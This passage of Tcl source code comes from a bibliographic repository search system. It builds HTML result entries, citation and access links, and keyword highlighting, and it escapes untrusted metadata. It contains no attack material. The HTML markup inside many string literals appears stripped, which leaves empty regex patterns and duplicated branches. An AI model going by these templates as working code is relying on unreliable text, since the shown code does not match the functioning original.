set misc {e-mailaddress update} set misc {username update} } ## site # set site [GetServerAddress] # metadataRep and i regexp {(.*)-([^-]*)$} ${rep-i} m metadataRep i # window regsub -all {/} ${mirrorRep}___$metadataRep {__} window regsub -all {\.|@|-} $window {_} window set window ${window}___$i # metadataLastUpdate set metadataLastUpdate $metadataArray(${rep-i},metadatalastupdate) # metadataLastUpdate2 regsub -all { } $metadataLastUpdate {+} metadataLastUpdate2 set metadataLastUpdate2 [EscapeUntrustedData $metadataLastUpdate2] ;# added by GJFB in 2019-04-30 - the date may contain untrusted data ## serverAddress2 # regsub { +} $serverAddress {+} serverAddress2 # referenceType set referenceType [ReturnType metadataArray ${rep-i}] # update # puts $misc set update {} if [info exists metadataArray(${rep-i},repository)] { set repository $metadataArray(${rep-i},repository) if {[file exists $homePath/col/$repository/service/userName] && \ ![Check-htpasswd]} { if {[lsearch $misc {update}] != -1} { # update if [string equal {yes} $includeReturnAddress] { # include return address # set update "
\$Update" # set update "
$translationTable(Update)" ;# commented by GJFB in 2020-06-19 set update "
$translationTable(Update)" ;# added by GJFB in 2020-06-19 - requestURI and display are loaded in LoopOverEntries - display value is set in mirrorsearch.tcl considering that the target frame must be relative to the bibliographic mirror responsible for the search } else { # set update "
\$Update" set update "
$translationTable(Update)" } # set update "
\$Update" } else { # {size {} updatinglinkname upload languagebutton pt-BR metadatarepository urlib.net/www/2014/05.12.22.26.41 expectedmirror sid.inpe.br/mtc-m19/2013/05.22.12.17} # {tertiarymark {} updatinglinkname vinculado languagebutton pt-BR metadatarepository urlib.net/www/2014/05.12.22.26.41 expectedmirror sid.inpe.br/mtc-m19/2013/05.22.12.17} foreach name {size tertiarymark} { if {[info tclversion] > 8.4} { set index [lsearch -index 0 $misc $name] } else { set index [lsearch $misc $name] } if {$index != -1} { ConditionalSet currentValue metadataArray(${rep-i},$name) {} array set array [lindex $misc $index] if {[string match $array($name) $currentValue] && [regexp {^(Journal Article|Book|Edited Book|Book Section|Conference Proceedings|Report)$} $referenceType]} { if [string equal {yes} $includeReturnAddress] { # include return address # append update "
$array(updatinglinkname)" # append update "
$array(updatinglinkname)" ;# commented by GJFB in 2020-06-19 append update "
$array(updatinglinkname)" ;# added by GJFB in 2020-06-19 - requestURI and display are loaded in LoopOverEntries - display value is set in mirrorsearch.tcl considering that the target frame must be relative to the bibliographic mirror responsible for the search } else { # append update "
$array(updatinglinkname)" append update "
$array(updatinglinkname)" } } } } } } } else { set repository {} } if {$linkType == 0} {set link http://$localSite/col/$repository} # if {$linkType == 1} {set link http://$localSite/rep/$repository} # if {$linkType == 1} {set link http://$localSite/rep/$repository?ibiurl.language=\$language&mirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep} # if {$linkType == 1} {set link http://$localSite/rep/$repository?ibiurl.language=\$language&searchsite=\$localSite} ;# added by GJFB in 2010-11-19 - useful for adding searchSiteName (see cgi/get.tcl) # example from CreateBriefEntry: ## http://banon-pc3/rep/urlib.net/www/2012/12.27.16.41?metadatarepository=urlib.net/www/2012/12.27.16.41.55&ibiurl.language=pt-BR&ibiurl.requiredsite=banon-pc3&ibiurl.requiredtimestamp=2013:06.21.00.03.34&requiredmirror=dpi.inpe.br/banon/1999/06.19.17.00&searchsite=banon-pc3:80&searchmirror=dpi.inpe.br/banon/1999/06.19.17.00&choice=brief&displaytype=Gallery # http://banon-pc3/rep/urlib.net/www/2012/12.27.16.41?metadatarepository=urlib.net/www/2012/12.27.16.41.55&ibiurl.language=pt-BR&ibiurl.requiredsite=banon-pc3&ibiurl.requiredtimestamp=2013:06.21.00.03.34&requiredmirror=dpi.inpe.br/banon/1999/06.19.17.00&searchsite=banon-pc3:80&searchmirror=dpi.inpe.br/banon/1999/06.19.17.00&choice=brief ## http://$localSite/rep/$rep?metadatarepository=$metadataRep&ibiurl.language=\$language&ibiurl.requiredsite=$requiredSite&ibiurl.requiredtimestamp=$requiredMetadataTimeStamp&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=brief&displaytype=Gallery TARGET=_blank>$title" ;# added by GJFB in 2012-06-24 # http://$localSite/rep/$rep?metadatarepository=$metadataRep&ibiurl.language=\$language&ibiurl.requiredsite=$requiredSite&ibiurl.requiredtimestamp=$requiredMetadataTimeStamp&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=brief TARGET=_blank>$title" ;# added by GJFB in 2012-06-24 # metadatarepository OK # languagebutton OK (set as the language defined in the metadata if any or set in CreateOutput - language) # ibiurl.requiredsite OK # ibiurl.requiredtimestamp OK # requiredmirror OK # searchsite OK (set in CreateOutput - localSite) # searchmirror OK (set in CreateOutput - currentRep) # choice OK (useful for displaying searchSiteName (see cgi/get.tcl)) # displaytype # serverAddress2 regsub { +} $serverAddress {+} serverAddress2 ## requiredMetadataTimeStamp # set requiredMetadataTimeStamp [lindex $metadataLastUpdate 0] # requiredSite # set requiredSite $localSite set requiredSite $serverAddress2 ;# added by GJFB in 2014-08-25 - sloves the virtual host case # choice if [string equal {} $misc] { set choice briefTitleAuthor } else { set choice briefTitleAuthorMisc } if {$linkType == 1} { if [info exists metadataArray(${rep-i},language)] { set language $metadataArray(${rep-i},language) set language [EscapeUntrustedData $language] ;# added by GJFB in 2018-06-08 # set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.language=$language&ibiurl.requiredsite=$requiredSite&ibiurl.requiredtimestamp=$requiredMetadataTimeStamp&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice # set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.language=$language&ibiurl.requiredsite=$requiredSite&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice # set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.backgroundlanguage=$language&ibiurl.requiredsite=$requiredSite&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice ;# commented by GJFB in 2022-06-13 # set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.backgroundlanguage=$language&ibiurl.requiredsite=$requiredSite&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice&searchinputvalue=$searchInputValue2&parentidentifiercitedby=$childIdentifier&forcerecentflag=$forceRecentFlag ;# added by GJFB in 2022-06-13 set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.backgroundlanguage=$language&ibiurl.requiredsite=$requiredSite&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice&searchinputvalue=$searchInputValue2&parentidentifiercitedby=$childIdentifier&forcerecentflag=$forceRecentFlag&forcehistorybackflag=$forceHistoryBackFlag ;# added by GJFB in 2023-06-09 } else { # set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.language=\$language&ibiurl.requiredsite=$requiredSite&ibiurl.requiredtimestamp=$requiredMetadataTimeStamp&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice # set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.language=\$language&ibiurl.requiredsite=$requiredSite&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice # set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.backgroundlanguage=\$language&ibiurl.requiredsite=$requiredSite&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice ;# commented by GJFB in 2022-06-13 # set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.backgroundlanguage=\$language&ibiurl.requiredsite=$requiredSite&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice&searchinputvalue=$searchInputValue2&parentidentifiercitedby=$childIdentifier&forcerecentflag=$forceRecentFlag ;# added by GJFB in 2022-06-13 set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.backgroundlanguage=\$language&ibiurl.requiredsite=$requiredSite&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice&searchinputvalue=$searchInputValue2&parentidentifiercitedby=$childIdentifier&forcerecentflag=$forceRecentFlag&forcehistorybackflag=$forceHistoryBackFlag ;# added by GJFB in 2023-06-09 } # set link http://$localSite/rep/$repository?metadatarepository=$metadataRep&ibiurl.language=\$language&ibiurl.requiredsite=$requiredSite&ibiurl.requiredtimestamp=$requiredMetadataTimeStamp&requiredmirror=$mirrorRep&searchsite=\$localSite&searchmirror=\$currentRep&choice=$choice } ;# added by GJFB in 2013-06-22 ConditionalSet identifier metadataArray(${rep-i},identifier) {} if [string equal $identifier $childIdentifier] {set childIdentifier {}} ;# added y GJFB in 2022-06-13 to avoid the display of the green double click button if {$linkType == 2} {set link http://$localSite/$repository} # if {$linkType == 2} {set link http://$localSite/rep-/$repository} ;# default is rep- if {$linkType == 3} {set link ../../../../../$repository} if {$linkType == 4} {set link ../../../../../../col/$repository} # if {$linkType == 5} {set link goto/$repository} ;# commented by GJFB in 2022-07-05 # if {$linkType == 5} {set link goto/$repository?ibiurl.backgroundlanguage=\$language&searchinputvalue=$searchInputValue2&parentidentifiercitedby=$childIdentifier&forcerecentflag=$forceRecentFlag} ;# added by GJFB in 2022-07-05 if {$linkType == 5} {set link goto/$repository?ibiurl.backgroundlanguage=\$language&searchinputvalue=$searchInputValue2&parentidentifiercitedby=$childIdentifier&forcerecentflag=$forceRecentFlag&forcehistorybackflag=$forceHistoryBackFlag} ;# added by GJFB in 2023-06-09 if {$linkType == 6} {set link goto-/$repository} # 7 no link if {$linkType == 8} {set link http://urlib.net/$repository} # if {$linkType == 8} {set link http://urlib.net/rep-/$repository} ;# default is rep- # if {$linkType == 9} {set link http://urlib.net/rep/$repository} ;# commented by GJFB in 2022-07-05 # if {$linkType == 9} {set link http://urlib.net/rep/$repository?ibiurl.backgroundlanguage=\$language&searchinputvalue=$searchInputValue2&parentidentifiercitedby=$childIdentifier&forcerecentflag=$forceRecentFlag} ;# added by GJFB in 2022-07-05 if {$linkType == 9} {set link http://urlib.net/rep/$repository?ibiurl.backgroundlanguage=\$language&searchinputvalue=$searchInputValue2&parentidentifiercitedby=$childIdentifier&forcerecentflag=$forceRecentFlag&forcehistorybackflag=$forceHistoryBackFlag} ;# added by GJFB in 2023-06-09 if {$linkType == 10} { ;# added by GJFB in 2023-03-10 - used in localIndexInOnePage.html set targetFile $metadataArray(${rep-i},targetfile) set link http://$localSite/col/$repository/doc/[file dirname $targetFile]/thisInformationItemHomePage.html } # size if [info exists metadataArray(${rep-i},size)] { set size [lindex $metadataArray(${rep-i},size) 0] } else { set size {} } # isJustReference set flag 1 if [info exists metadataArray(${rep-i},targetfile)] { set targetFile $metadataArray(${rep-i},targetfile) if [regexp "^$col" $targetFile] { # link to other repository set flag 0 } } set isJustReference [expr $flag && \ ([string equal {} $size] || [string equal {0} $size]) && \ ![regexp {^(Resume|Archival Unit)$} $referenceType]] # title # lappend output "" if [info exists metadataArray(${rep-i},title)] { set title $metadataArray(${rep-i},title) set title [EscapeUntrustedData $title] ;# added by GJFB in 2018-06-08 set title [regsub -all {URLib} $title {URLib}] ;# added by GJFB in 2021-09-30 if [string equal {Newspaper} $referenceType] { ConditionalSet volume metadataArray(${rep-i},volume) {} set volume [EscapeUntrustedData $volume] ;# added by GJFB in 2018-06-08 ConditionalSet number metadataArray(${rep-i},number) {} set number [EscapeUntrustedData $number] ;# added by GJFB in 2018-06-08 if ![string equal {} $volume] { set volume [list "v° $volume"] } if ![string equal {} $number] { set number [list "n° $number"] } set vn [concat $volume $number] if ![string equal {} $vn] { set title "$title: [join $vn { - }]" } } # regsub -all {\$} $title {\$} title ;# cr$30 -> cr\$30 } else { set title "" } # author set author [join [GetAuthor ${rep-i} #0 {} $nameFormat] $nameSeparator] ;# uses FormatAuthorName # puts $author if [string equal {} $author] {set author -} ;# sometimes reporter is missing if [regexp {^(0|3|4)$} $linkType] { if !$isJustReference { if [info exists metadataArray(${rep-i},targetfile)] { set targetFile $metadataArray(${rep-i},targetfile) set targetFile [EscapeUntrustedData $targetFile] ;# added by GJFB in 2018-06-08 # the three command below were added by GJFB in 2011-05-10 to solve the url: http://mtc-m19.sid.inpe.br/col/sid.inpe.br/mtc-m19/2011/04.15.12.52/doc/S%C3%89RGIO%20LU%C3%8DS%20DE%20ANDRADE%20SILVA.pdf set encodingName [Execute $serverAddress [list GetEncodingName]] # set convertToUTF8 [expr [regexp {Apache/2} $env(SERVER_SOFTWARE)] || [string equal {utf-8} $encodingName]] ;# solves the accent problem - same code is used in xxDocContent.html set convertToUTF8 [string equal {utf-8} $encodingName] ;# solves the accent problem - same code is used in xxDocContent.html set convertedURL [ConvertURLToHexadecimal $link/doc/$targetFile $convertToUTF8] ;# solves the accent problem - communication from banon-pc3 to plutao # set titleAuthor "$title
$author" set titleAuthor "$title
$author" } else { set titleAuthor "$title
$author" } } } if [regexp {^(1|2|5|6|8|9|10)$} $linkType] { if !$isJustReference { # if $imageFlag # ;# commented by GJFB in 2013-08-23 if {$imageFlag && [string equal {Image} $referenceType]} { # set titleAuthor "$title
$author" ;# commented by GJFB in 2021-08-05 set titleAuthor "$title" ;# added by GJFB in 2021-08-05 to avoid the display of too much tecnical information } else { # if [string equal {Image} $referenceType] # if 0 { # commented by GJFB in 2014-04-04 - see new code in CreateAbsolutePath if {$linkType == 1} { # use of & set titleAuthor "$title
$author" } else { # use of ? set titleAuthor "$title
$author" } } else { # set titleAuthor "$title
$author" ; # commented by GJFB in 2022-06-13 set titleAuthor "$title
$author" ; # added by GJFB in 2022-06-13 } } } } if [regexp {7|^$} $linkType] { # no link set titleAuthor "$title
$author" } if $isJustReference { set titleAuthor "$title
$author" } # ref-year-cite if {[lsearch $misc {ref-year-cite}] != -1} { ## referencetype2 # set referencetype2 $metadataArray(${rep-i},referencetype) # qualis if {[regexp {^(Journal Article)$} $referenceType] && [info exists metadataArray(${rep-i},secondarymark)]} { array set markTable { A1 10.0 A2 8.6 B1 7.1 B2 5.7 B3 4.3 B4 2.9 B5 1.4 C_ 0.0 } set qualis $metadataArray(${rep-i},secondarymark) set qualis [EscapeUntrustedData $qualis] ;# added by GJFB in 2018-06-08 # => A1_INTERDISCIPLINAR A1_GEOCIÊNCIAS A1_ENGENHARIAS_III A1_CIÊNCIAS_AMBIENTAIS A1_BIODIVERSIDADE set mark $markTable([string range [lindex [lsort $qualis] 0] 0 1]) set qualis2 "- Qualis: $mark" } else { set qualis2 "- \$translationTable(no Qualis)" } # year2 if [info exists metadataArray(${rep-i},yearreleased)] { ;# added by GJFB in 2023-07-17 set year2 "- [EscapeUntrustedData $metadataArray(${rep-i},yearreleased)]" ;# added by GJFB in 2023-07-17 for Film or Broadcast } elseif {[info exists metadataArray(${rep-i},year)]} { # set year2 "- $metadataArray(${rep-i},year)" ;# commented by GJFB in 2018-06-08 set year2 "- [EscapeUntrustedData $metadataArray(${rep-i},year)]" ;# added by GJFB in 2018-06-08 } else { set year2 {} } # restrictedAccess if {[info exists metadataArray(${rep-i},readpermission)] && \ [regexp {deny} $metadataArray(${rep-i},readpermission)] && \ [info exists metadataArray(${rep-i},size)]} { # translationTable(restricted access) is defined in mirror/xxSearchResult.tcl (where xx is en, pt-BR, ...) set restrictedAccess "- \$translationTable(Restricted access)" } else { set restrictedAccess {} } # how to cite # cite # if [regexp {^(Journal Article|Book|Book Section|Edited Book|Conference Proceedings|Thesis|Report|Audiovisual Material|Electronic Source|Misc)$} $referencetype2] # if [regexp {^(Journal Article|Book|Book Section|Edited Book|Conference Proceedings|Thesis|Report|Audiovisual Material|Film or Broadcast|Electronic Source|Misc)$} $referenceType] { set cite "\ - \${translationTable(How to cite?)}\ - BibTeX\ " } else { set cite {} } # access if $isJustReference { set access {} } else { # both links below are valid # set access "- $translationTable(access)" set access "- $translationTable(access)" } # update2 if [info exists metadataArray(${rep-i},repository)] { set repository2 $metadataArray(${rep-i},repository) if {[file exists $homePath/col/$repository2/service/userName] && ![Check-htpasswd]} { if [string equal {yes} $includeReturnAddress] { # include return address set update2 "- $translationTable(Update)" } else { set update2 "- $translationTable(Update)" } } else { set update2 {} } } else { set update2 {} } # related set relatedLink [ComputeRelatedLink ${rep-i} $languageRepository $hideSimilarButton Related briefTitleAuthor] if ![string equal {} $relatedLink] {set relatedLink "- $relatedLink"} # similarity # display the similarity value # puts $similarity if {![regexp {:} $similarity] && ![string equal {} $similarity]} { # the similarity value is neither the value of a citation key nor empty set relatedLink "- $translationTable(Similarity): $similarity" } # set ref-year-cite "
\$translationTable($referencetype2) $year2 $restrictedAccess $cite $access $update2 $relatedLink" set ref-year-cite "
\$translationTable($referenceType) $qualis2 $year2 $restrictedAccess $cite $access $update2 $relatedLink" } else { set ref-year-cite {} } # year-cite if {[lsearch $misc {year-cite}] != -1} { # set referencetype2 $metadataArray(${rep-i},referencetype) if [regexp {^(Archival Unit|Image)$} $referenceType] { if [info exists metadataArray(${rep-i},date)] { # set year2 "$metadataArray(${rep-i},date)" ;# commented by GJFB in 2018-06-08 set year2 "[EscapeUntrustedData $metadataArray(${rep-i},date)]" ;# added by GJFB in 2018-06-08 set hyphen - } else { set year2 {} set hyphen {} } } elseif {[regexp {^(Newspaper Article)$} $referenceType]} { if [info exists metadataArray(${rep-i},issuedate)] { # set year2 "$metadataArray(${rep-i},issuedate)" ;# commented by GJFB in 2018-06-08 set year2 "[EscapeUntrustedData $metadataArray(${rep-i},issuedate)]" ;# added by GJFB in 2018-06-08 set hyphen - } else { set year2 {} set hyphen {} } } elseif {[string equal {Film or Broadcast} $referenceType]} { ;# added by GJFB in 2023-07-17 if [info exists metadataArray(${rep-i},yearreleased)] { set year2 "[EscapeUntrustedData $metadataArray(${rep-i},yearreleased)]" ;# added by GJFB in 2023-07-17 set hyphen - } else { set year2 {} set hyphen {} } } else { if [info exists metadataArray(${rep-i},year)] { # set year2 "$metadataArray(${rep-i},year)" ;# commented by GJFB in 2018-06-08 set year2 "[EscapeUntrustedData $metadataArray(${rep-i},year)]" ;# added by GJFB in 2018-06-08 set hyphen - } else { set year2 {} set hyphen {} } } # if [regexp {^(Journal Article|Book|Book Section|Edited Book|Conference Proceedings|Thesis|Report|Audiovisual Material|Electronic Source|Misc)$} $referencetype2] # if [regexp {^(Journal Article|Book|Book Section|Edited Book|Conference Proceedings|Thesis|Report|Audiovisual Material|Film or Broadcast|Electronic Source|Misc)$} $referenceType] { set cite "$hyphen \${translationTable(How to cite?)}" } else { set cite {} } # restricted access if {[info exists metadataArray(${rep-i},readpermission)] && \ [regexp {deny} $metadataArray(${rep-i},readpermission)] && \ [info exists metadataArray(${rep-i},size)]} { # translationTable(restricted access) is defined in mirror/xxSearchResult.tcl (where xx is en, pt-BR, ...) set restrictedAccess "- \$translationTable(Restricted access)" } else { set restrictedAccess {} } set year-cite "
$year2 $cite $restrictedAccess" } else { set year-cite {} } if {[lsearch $misc {metadata-id}] != -1} { set metadata-id "
\${translationTable(Metadata)}" if 1 { if [info exists metadataArray(${rep-i},identifier)] { set identifier $metadataArray(${rep-i},identifier) append metadata-id " - id $identifier" } } } else { set metadata-id {} } if {[lsearch $misc {rankingmenu}] != -1} { set rankingmenu "

\ \  \;(order of interest)" } else { set rankingmenu {} } if {[lsearch $misc {checkbox}] != -1} { SetWidgetValue checkeditemlist ${rep-i} CHECKED ;# set checkeditemlist_${rep-i} set checkbox "" } else { set checkbox {} } if {[string equal no $page] || ![info exists metadataArray(${rep-i},pages)]} { set value { } } else { # set value $metadataArray(${rep-i},pages) ;# commented by GJFB in 2018-06-08 set value [EscapeUntrustedData $metadataArray(${rep-i},pages)] ;# added by GJFB in 2018-06-08 } regexp {[^-]*} $value firstPage set reference {} # if {[llength $misc] > 1} # if ![regexp {^(0|1|affiliation|ref-year-cite|year-cite)$} $misc] { foreach fieldName $misc { if [info exists metadataArray(${rep-i},$fieldName)] { # set fieldValue $metadataArray(${rep-i},$fieldName) ;# commented by GJFB in 2018-06-08 set fieldValue [EscapeUntrustedData $metadataArray(${rep-i},$fieldName)] ;# added by GJFB in 2018-06-08 if [string equal {referencetype} $fieldName] { append reference "
\$translationTable($fieldValue)" } elseif {[string equal {year} $fieldName]} { append reference "
$fieldValue" } elseif {[string equal {e-mailaddress} $fieldName]} { append reference "
$fieldValue" } elseif {[string equal {affiliation} $fieldName]} { append reference "
[join $fieldValue
]" } elseif {[string equal {abstract} $fieldName]} { append reference "
$fieldValue" } elseif {[string equal {repository} $fieldName]} { append reference "
rep $fieldValue" } elseif {[string equal {identifier} $fieldName]} { append reference "
id $fieldValue" } elseif {[string equal {type} $fieldName]} { append reference "
Session: $fieldValue" } elseif {[string equal {tertiarytype} $fieldName]} { append reference "
Format: $fieldValue" } else { if {[lsearch -exact $multipleLineFieldNameList $fieldName] != -1} { # multiple line fields set fieldValue [MultipleRegsub {,*$} $fieldValue {}] ;# drop trailing commas set fieldValue [join $fieldValue
] } append reference "
$fieldValue" } } else { if [string equal {fulltext} $fieldName] { if $isJustReference { append reference "
Full text: no" } else { append reference "
Full text: yes" } } } } } # if $imageFlag # ;# commented by GJFB in 2013-08-23 to avoid adding imageflag=0 in the query string # example: # http://banon-pc3/col/dpi.inpe.br/banon/1999/06.19.17.00/doc/mirrorsearch.cgi?query=ref+thesis+and+size+*+and+ar+sre&choice=briefTitleAuthor&continue=yes&dontdisplaysearchresultwarning=x&cssfileurl=http://www.dsr.inpe.br/bibinpe/include/estilo_bib.css if {$imageFlag && [string equal {Image} $referenceType]} { # if {[string equal {Image} $referenceType] && \ [Eval file isdirectory $homePath/col/$repository/images] && \ ![string equal {} $repository]} # ;# commented by GJFB in 2012-09-22 if {[file isdirectory $homePath/col/$repository/images] && \ ![string equal {} $repository]} { set targetFileExtension [file extension $targetFile] if 0 { # commented by GJFB in 2014-04-04 - see new code in CreateAbsolutePath if {$linkType == 1} { # use of & set url $link&displaytype=Gallery } else { # use of ? set url $link?displaytype=Gallery } } else { set url $link } if 0 { if [info exists metadataArray(${rep-i},language)] { set language $metadataArray(${rep-i},language) set url http://\$env(SERVER_NAME):\$env(SERVER_PORT)/col/\$currentRep/doc/mirrorget.cgi?languagebutton=$language&metadatarepository=$metadataRep&index=$i&serveraddress=$serverAddress2&choice=full&lastupdate=$metadataLastUpdate2&continue=\$continue&accent=\$accent&case=\$case&imageflag=1 ;# added by GJFB in 2012-06-29 to create a gallery page in the appropriate language } else { set url http://\$env(SERVER_NAME):\$env(SERVER_PORT)/col/\$currentRep/doc/mirrorget.cgi?languagebutton=\$language&metadatarepository=$metadataRep&index=$i&serveraddress=$serverAddress2&choice=full&lastupdate=$metadataLastUpdate2&continue=\$continue&accent=\$accent&case=\$case&imageflag=1 } } set imageCell "\ \
\ \ \ \
\ \ " } else { set imageCell "\ \
\
 
\
\ \ " } set titleAuthorTD titleAuthorImageTD set titleAuthorTDPage titleAuthorImageTDPage set titleAuthorStyleSheet {\ \ \ $imageCell\ \ \
\ $titleAuthor\ $reference\ ${ref-year-cite}\ ${year-cite}\ $update\ $rankingmenu\ $checkbox
\
\ } } else { if [string equal $originalRepForSimilarity ${rep-i}] { # rep-i is the original repository for which similars might be found set titleAuthorTD titleAuthorOriginalRepForSimilarTD set titleAuthorTDPage titleAuthorOriginalRepForSimilarTDPage } else { set titleAuthorTD titleAuthorTD set titleAuthorTDPage titleAuthorTDPage } set titleAuthorStyleSheet {\ \ \ $checkbox\ \ \ \
\ $titleAuthor\ $reference\ ${ref-year-cite}\ ${year-cite}\ ${metadata-id}\ $update\ $rankingmenu\ \  
\ $firstPage \
\ } } if ![TestContentType $mirrorRep Mirror] { # mirrorRep may be relative to another site and therefore doesn't exist set mirrorRep $loBiMiRep } # SUBST if [catch {subst $titleAuthorStyleSheet} value] { # lappend output "\$fontTag\${incomplete reference}\$fontTag2
" lappend output "${incomplete reference}
" } else { lappend output $value } # lappend output
# set metadataLastUpdate $metadataArray(${rep-i},metadatalastupdate) ;# commented by GJF in 2019-04-30 return [list $metadataLastUpdate $output] } # CreateBriefTitleAuthorEntry - end # ---------------------------------------------------------------------- # HighlightWord proc HighlightWord {fieldName fieldValue} { upvar wordArray wordArray ;# keywords == rep* *18* ti* {*ate* gle} upvar accent accent upvar case case set highlightFieldValue $fieldValue # set xxx --[array names wordArray [string index $fieldName 0]]-- # Store xxx C:/tmp/bbb.txt auto 0 a foreach pattern [array names wordArray] { if [string match $pattern $fieldName] { # set xxx $wordArray($pattern) # Store xxx C:/tmp/bbb.txt auto 0 a foreach keyword $wordArray($pattern) { regsub -all {\?} $keyword {.} pattern2 ;# ?18? -> .18. (convert glob style to regexp style) regsub -all {\*} $pattern2 {.*?} pattern2 ;# *18* -> .*?18.*? (convert glob style to regexp style - ? is to avoid highlighting the punctuation marks ,;:. and parentheses in regsub (1) below) set pattern2 [SetNoMatch $pattern2 $accent $case] # example of pattern2: [bB][rR][aáàãâäAÁÀÃÂÄ][zZ][iíìîïIÍÌÎÏ][lL].*? # Store pattern2 C:/tmp/bbb.txt auto 0 a ;# [cçCÇ][oóòõôöOÓÒÕÔÖ][nñNÑ][fF][eéèêëEÉÈÊË][rR][eéèêëEÉÈÊË][nñNÑ][cçCÇ][eéèêëEÉÈÊË] # Store highlightFieldValue C:/tmp/bbb.txt auto 0 a ;# Conference Proceedings # set xxx [CallTrace] # Store xxx C:/tmp/bbb.txt auto 0 a if {[regexp {^_} $keyword] && [string equal {keywords} $fieldName]} { # full keyword regsub {\.$} $highlightFieldValue {} highlightFieldValue regsub {^_} $pattern2 {} pattern2 regsub -all {_} $pattern2 { } pattern2 set highlightKeyword2List {} foreach keyword2 [split $highlightFieldValue ,] { regsub -all "($pattern2)" $keyword2 {\1} highlightKeyword2 lappend highlightKeyword2List $highlightKeyword2 } set highlightFieldValue [join $highlightKeyword2List ,]. } else { regsub -all -nocase {
} $highlightFieldValue \n highlightFieldValue set highlightFieldValue2 {} foreach line [split $highlightFieldValue \n] { set highlightLine {} # split below is to avoid 'list element in quotes followed by "." instead of space' when executing foreach in line containing quotes (and braces) foreach word [split $line] { if [regexp -- {-} $keyword] { # ex: integer-valued regsub -all "^(\[,;:.\(\]*)($pattern2)(\[,;:.\)\]*)$" $word {\1\2\3} highlightWord ;# regsub (1) } else { # ex: integer valued set highlightWord $word # split at - set highlightWord2 {} foreach subword [split $highlightWord -] { # if [regexp {} $subword] { # lappend highlightWord2 $subword # } else { regsub -all "^(\[,;:.\(\]*)($pattern2)(\[,;:.\)\]*)$" $subword {\1\2\3} highlightSubword ;# regsub (1) lappend highlightWord2 $highlightSubword # } } set highlightWord [join $highlightWord2 -] # split at ( set highlightWord2 {} foreach subword [split $highlightWord (] { if [regexp {} $subword] { lappend highlightWord2 $subword } else { regsub -all "^(\[,;:.\(\]*)($pattern2)(\[,;:.\)\]*)$" $subword {\1\2\3} highlightSubword ;# regsub (1) lappend highlightWord2 $highlightSubword } } set highlightWord [join $highlightWord2 (] # split at ) set highlightWord2 {} foreach subword [split $highlightWord )] { if [regexp {} $subword] { lappend highlightWord2 $subword } else { regsub -all "^(\[,;:.\(\]*)($pattern2)(\[,;:.\)\]*)$" $subword {\1\2\3} highlightSubword ;# regsub (1) lappend highlightWord2 $highlightSubword } } set highlightWord [join $highlightWord2 )] } lappend highlightLine $highlightWord } lappend highlightFieldValue2 [join $highlightLine] } set highlightFieldValue [join $highlightFieldValue2
] } } } } # Store highlightFieldValue C:/tmp/bbb.txt auto 0 a regsub -all {} $highlightFieldValue {} highlightFieldValue return $highlightFieldValue } # HighlightWord - end # ---------------------------------------------------------------------- # CreateFullEntry # path example: ../ # keyWords is used to highlight the keywords in the metadata # numbering values are {} or {numbering prefix}; {} means to do no numbering # imageFlag value is 0 or 1; 1 means to display the thumbnail (if any) # mirrorGetFlag value is 0 or 1; 1 means that CreateFullEntry was called by MirrorGet proc CreateFullEntry { rep-i path mirrorRep keywords excludedFields numbering remoteIp includeReturnAddress accent case languageRepository hideSimilarButton imageFlag mirrorGetFlag } { global metadataArray global loBiMiRep global loCoInRep global homePath global multipleLineFieldNameList global localSite global repositoryProperties global ${languageRepository}::translationTable ;# switch to the appropriate language - set in mirror/xxSearchResult.tcl, mirror/xxReferenceTypeName.tcl and xxFillingInstructions.tcl (where xx is en, pt-BR, ...) global serverAddress global staticIPFlag ;# set in InformURLibSystem global fieldNameXareaArray ;# set in LoadGlobalVariables global referenceTypeXcreatorNameArray ;# set in LoadGlobalVariables global standaloneModeFlag ;# set in LoadGlobalVariables global abbreviationArray ;# set in LoadGlobalVariables # set output

$numbering

# if ![string equal {} $numbering] {set output [list "

$numbering \\\$i

"]} if ![string equal {} $numbering] {set output [list "

$numbering \\\$i

"]} ;# added by GJFB in 2015-12-02 # currentRepositoryMetadataArray array set currentRepositoryMetadataArray [array get metadataArray ${rep-i},*] # referenceType set referenceType $currentRepositoryMetadataArray(${rep-i},referencetype) # metadataRep and i regexp {(.*)-([^-]*)$} ${rep-i} m metadataRep i # repository ConditionalSet repository currentRepositoryMetadataArray(${rep-i},repository) {} ;# added by GJFB in 2021-01-08 # identifier ConditionalSet identifier currentRepositoryMetadataArray(${rep-i},identifier) {} if ![TestContentType $mirrorRep Mirror] { # mirrorRep may be relative to another site and therefore it doesn't exist set mirrorRep $loBiMiRep } # window regsub -all {/} ${mirrorRep}___$metadataRep {__} window regsub -all {\.|@|-} $window {_} window set window ${window}___$i # rep set rep [ReturnRepositoryName $metadataRep] # targetFile ConditionalSet targetFile metadataArray(${rep-i},targetfile) {} if 1 { # if {$imageFlag && [string equal {Image} $referenceType] && [Eval file isdirectory $homePath/col/$rep/images]} # ;# commented by GJFB in 2012-09-22 if 